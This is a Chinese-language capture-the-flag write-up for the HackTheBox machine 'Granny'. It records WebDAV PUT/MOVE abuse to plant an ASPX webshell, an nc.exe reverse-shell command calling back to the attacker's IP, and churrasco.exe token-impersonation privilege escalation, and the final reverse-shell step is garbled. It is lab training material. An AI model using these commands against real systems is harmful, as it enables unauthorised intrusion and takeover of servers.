> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Granny HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**技能：**

* 滥用 PUT 和 MOVE 方法 - 上传 Aspx WebShell
* Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' 远程缓冲区溢出（RCE）
* 令牌劫持 - Churrasco（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/3bc70fe8c65abb17e94a59dff23bf10f2608ab6d" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/9ad97ae7bde1ec0a842ec0c694517211e24ae0fc" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="/files/29cd87f6e185daf3dbd93826346bc7b60c94442c" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="/files/3154c87337d73aed6577c85e57513d9ede7f5273" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/887d69f35f80a09f76791a7ca7d0f14f8e58ba12" alt=""><figcaption></figcaption></figure>

## WebDAV 漏洞

80 端口开放，服务器支持 WebDAV。这使我们有可能通过 PUT 方法上传文件，并使用 MOVE 重命名它们。

<figure><img src="/files/20fd482d117b3b7f720f6140dc2ae90f1fe62312" alt=""><figcaption></figcaption></figure>

创建一个测试文件：

```bash
echo "this is a test" > test.txt
```

使用 **cadaver** 工具连接到服务器：

```bash
cadaver 10.10.10.15
```

尝试使用 PUT 命令上传文件：

<figure><img src="/files/6e195898af193e7b9d9175aba162d1d00ad39e02" alt=""><figcaption></figcaption></figure>

* 结果：成功。

<figure><img src="/files/e0e5da13a28800fb4d06e8bb52ee299681a5fd66" alt="" width="563"><figcaption></figcaption></figure>

### **WebShell 上传**

复制一个已存在的 WebShell ASPX：

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

尝试直接上传它：

```powershell
put aspx_cmd.aspx
```

结果：失败（服务器阻止 .aspx 扩展名的文件）。

<figure><img src="/files/44af5cb1ff2d05448b0d21ac59630873ca0169dc" alt="" width="563"><figcaption></figcaption></figure>

将扩展名改为 **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

再次尝试上传：

```powershell
PUT cmd.txt
```

* 结果：成功。

<figure><img src="/files/7cf4a55236426b2e8b299e7199b62756ee5ce8c7" alt="" width="563"><figcaption></figcaption></figure>

#### 使用 MOVE 重命名文件以恢复扩展名：

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="/files/b12ff682b65d11f6e6a45eb9f18648cf61ccc4dc" alt=""><figcaption></figcaption></figure>

通过浏览器访问 WebShell：

<figure><img src="/files/bf53807debb867c3051e190ea0a4f0940d7cb483" alt=""><figcaption></figcaption></figure>

### **通过 WebShell 获取反向 Shell：**

将 Netcat 可执行文件放到当前目录：

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

运行 SMB 服务器共享该文件：

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

在你的机器上监听 443 端口：

```bash
sudo rlwrap nc -nvlp 443
```

从 WebShell 运行反向 Shell 命令：

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="/files/942ec2ccae0cfdae57d88a9571cf5b28312e1355" alt=""><figcaption></figcaption></figure>

## **权限提升：**

### 内核利用 - Windows Server 2003

使用 `systeminfo` 命令，我们发现该设备非常老旧（Windows Server 2003）：

```bash
systeminfo
```

<figure><img src="/files/81c3dd6d089d54763cefe095bf620d494c3620cd" alt=""><figcaption></figcaption></figure>

我们还拥有 `SeImpersonatePrivilege` 权限，这使我们可以尝试提升权限。

<figure><img src="/files/c50503870493c3e5aa67f3848a2bf9a76ade070f" alt=""><figcaption></figcaption></figure>

为了绕过这一限制，我们将使用 **churrasco.exe** 工具。

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windows 文件传输（SMB）/*/*

> 我们使用 **smbserver.py** 来共享一个包含漏洞利用文件 40627.exe 的目录。然后将该文件复制到目标机器上。

```bash
smbserver.py share $(pwd) -smb2support
```

在目标机器上，我们使用 SMB 命令复制恶意文件：

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

然后我们可以用这个二进制文件执行任意命令，例如：

```powershell
./churrasco.exe "whoami"
```

<figure><img src="/files/4d2a0b34584e04c61e96656a2e9a3d15aa835798" alt="" width="563"><figcaption></figcaption></figure>

**建立反向 Shell**

为了建立反向 Shell，我们监听 443 端口：

```bash
sudo rlwrap nc -nvlp 443
```

我们使用 **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

重新创建一个 SMB 服务器。

```bash
最后，我们使用以下命令执行反向 Shell：
```

<figure><img src="/files/fc9cf8b55ebf8799ddabef3876e2155008b4ec1d" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/064d328ba8a789cbdee1e141872c2ce0ee3b4728" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cb0c8958f192dafb5930f69b608acd61c451f6cc" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
